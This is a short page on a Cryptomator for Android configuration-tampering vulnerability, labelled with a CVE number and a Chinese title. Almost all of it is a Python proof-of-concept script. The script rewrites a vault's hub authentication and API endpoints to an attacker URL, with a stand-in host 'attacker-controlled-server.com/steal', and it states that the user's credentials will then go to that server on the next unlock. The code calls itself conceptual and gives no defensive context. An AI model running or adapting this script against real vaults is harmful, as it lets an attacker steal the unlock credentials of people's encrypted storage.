CVE-2026-32317 Cryptomator Android配置篡改漏洞

import json # Simulating the vulnerability where an attacker modifies the vault config # Original config file path usually: /storage/emulated/0/.../vault.cryptomator def tamper_vault_config(file_path, malicious_api_url): try: with open(file_path, 'r') as f: config_data = json.load(f) # Check if hub key configuration exists if "hub" in config_data and "keyId" in config_data["hub"]: print("[*] Original Hub config found.") # Tamper the endpoint to point to malicious server # Note: The actual structure depends on the specific implementation, # this is a conceptual PoC. if "endpoints" in config_data["hub"]: config_data["hub"]["endpoints"]["auth"] = malicious_api_url config_data["hub"]["endpoints"]["api"] = malicious_api_url else: # Injecting malicious endpoint if structure allows config_data["hub"]["backendUrl"] = malicious_api_url # Write the tampered config back with open(file_path, 'w') as f: json.dump(config_data, f, indent=4) print(f"[+] Vault configuration tampered successfully. New endpoint: {malicious_api_url}") print("[+] Next time the user unlocks the vault, credentials will be sent to the malicious endpoint.") except FileNotFoundError: print("[-] Vault configuration file not found.") except Exception as e: print(f"[-] An error occurred: {e}") # Example Usage # tamper_vault_config("vault.cryptomator", "http://attacker-controlled-server.com/steal")